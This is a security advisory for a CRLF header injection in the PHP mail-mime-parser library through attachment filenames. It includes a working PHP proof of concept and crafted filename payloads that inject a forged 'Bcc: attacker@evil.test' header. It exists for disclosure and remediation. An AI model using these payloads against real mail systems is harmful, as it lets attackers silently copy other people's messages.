GHSA-36h5-qg4p-q2qf
zbateson/mail-mime-parser has CRLF header injection via attachment filename
Quick fix
GHSA-36h5-qg4p-q2qf — zbateson/mail-mime-parser: upgrade to the fixed version with the command below.
composer require zbateson/mail-mime-parser:^3.0.6Details
### Impact
A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\r\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.
### Details
On the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\r\nBcc: attacker@evil.test` therefore serializes as:
``` Content-Disposition: attachment; filename="doc Bcc: attacker@evil.test" ```
The `filename` value closes after `doc`, and `Bcc: attacker@evil.test` stands as its own header line.
The decode side is affected as well, which is what makes purely inbound exploitation possible:
- `ParameterPart::decodePartValue()` `rawurldecode()`s an RFC 2231 `filename*=` parameter with no control-character stripping, so a crafted `filename*=utf-8''doc%0D%0ABcc:...` makes `getFilename()` return a string with embedded `\r\n`. - The RFC 2047 path (`MimeToken`) strips `\r`/`\n` from the *encoded* word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.
As a result `getFilename()` can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.
### Proof of concept
```php composer require zbateson/mail-mime-parser
<?php require 'vendor/autoload.php'; use ZBateson\MailMimeParser\MailMimeParser; use ZBateson\MailMimeParser\Message;
$parser = new MailMimeParser();
function attachAndReport(string $filename): void { $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false); $out->addAttachmentPart('payload', 'application/octet-stream', $filename); echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false) ? "INJECTED\n" : "clean\n"; }
attachAndReport('invoice.pdf'); // => clean attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED
// The CRLF reaches getFilename() straight from parsed mail via an // RFC 2231 filename*= parameter, so no local construction is needed: $inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n" . "--b\r\nContent-Type: application/octet-stream\r\n" . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n" . base64_encode('data') . "\r\n--b--\r\n"; $fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename(); var_dump($fn); // => string(28) "doc\r\nBcc: attacker@evil.test" attachAndReport($fn); // => INJECTED ```
### Patches
Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.
Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.
### Workarounds
If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).
- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.
Are you affected?
Enter the version of the package you're using.
Affected packages
0Fixed in: 3.0.6composer require zbateson/mail-mime-parser:^3.0.64.0.0Fixed in: 4.0.2composer require zbateson/mail-mime-parser:^4.0.2References
- https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-36h5-qg4p-q2qf[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-61815[ADVISORY]
- https://github.com/zbateson/mail-mime-parser/commit/81859c06abb5d79f04b7a3254d293d0a91065948[WEB]
- https://github.com/zbateson/mail-mime-parser/commit/d2970b5df266f62e5ee8e675bfb05502b70fc6e1[WEB]
- https://github.com/zbateson/mail-mime-parser[PACKAGE]
- https://github.com/zbateson/mail-mime-parser/releases/tag/3.0.7[WEB]
- https://github.com/zbateson/mail-mime-parser/releases/tag/4.0.2[WEB]